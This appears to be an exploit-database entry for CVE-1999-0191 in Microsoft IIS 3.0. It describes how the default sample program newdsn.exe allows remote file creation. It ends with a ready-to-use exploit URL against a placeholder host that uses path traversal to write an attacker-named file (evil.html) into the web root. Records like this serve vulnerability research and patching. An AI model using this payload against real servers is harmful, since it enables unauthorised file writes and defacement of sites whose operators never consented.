Microsoft IIS 3.0 - 'newdsn.exe' File Creation

Author: Vytis Fedaravicius
type: remote
platform: windows
port: 0
date_added: 1997-08-25
date_updated: 2012-08-07
verified: 1
codes: CVE-1999-0191;OSVDB-275
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/1818/info

Microsoft IIS 3.0 came with a sample program, newdsn.exe, installed by default in the directory wwwroot/scripts/tools/. Execution of this program with a properly submitted URL could allow for remote file creation. The file created is a Microsoft Access Database, but can have any extension, including .html.

http://vulnerable.site.comtools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=Evil+samples+from+microsoft&dbq=..%2F..%2Fwwwroot%2Fevil.html&newdb=CREATE_DB